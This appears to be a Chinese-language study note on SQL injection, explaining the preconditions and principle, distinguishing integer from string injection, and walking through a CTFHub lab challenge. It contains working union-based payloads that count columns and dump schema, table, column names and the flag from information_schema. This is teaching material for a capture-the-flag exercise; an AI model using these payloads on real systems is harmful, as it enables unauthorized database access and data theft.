1.SQL注入的前提
-
判断是否具备注入条件
- )可控参数如id=1,能否影响页面的显示结果
- )输入SQL语句的时候,是否报错,能否通过报错,看到数据库回显的一些语句痕迹
- )尝试使输入的语句不报错,使得成功闭合语句
-
判断是什么类型的注入
-
语句能否被修改
-
是否能够成功执行
2.关于sql的理解
原理:SQL 注入是一种将 SQL 代码插入或添加到应用(用户)的输入参数中,之后再将这些参数传递给后台的 SQL 服务器加以解析并执行的攻击。
通俗理解SQL注入,攻击者通过在输入数据中插入恶意的SQL代码,从而可能在数据库中执行未经授权的操作。
3.判断是字符型还是整数型
select xxx from xxx where xxx=1; //整数型
select xxx from xxx where xxx='1'; //字符型
字符型不只是'',还有"",(''),(""),等等
整数型和字符型决定我们后面传参的数据
例如:
?id=3 order by 1 %23(#) ?id=3"
?id=3' order by 1 %23(#) ?id=3')... ?id=3")...
4.实操
ctfhub(整数型注入)
1)判断注入点
输入1 2 3 ,到3的时候页面回显不一样,则证明该注入点存在sql漏洞
2.)判断列数
输入id=1 order by 1,等,当id =1 order by 3,开始报错
3.)两种方法查询库名
从元数据库查出当前数据库的所有表名
输入1 and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()
查询当前数据库
输入-1 union select 1,group_concat(schema_name) from information_schema.schemata
显示出两个库flag和news
group_concat()函数表示一次性全部显示,可在一行显示所有查询结果
4.)从元数据库查出当前数据库下的某个表下的所有列
输入select * from news where id=1 and 1=2 union select 1, group_concat (column_name) from information_schema. columns where table_name= 'flag'开始爆列名,发现还是flag
5.)从当前数据库下的某个表中的查某一列的信息
输入1 and 1=1 union select 1,concat_ws('>',flag) from flag发现flag没出来
再输入-1 union select 1,concat_ws('>',flag) from flag 找到了flag
其中-1是为了让前面查询的不存在,从而爆出回显位置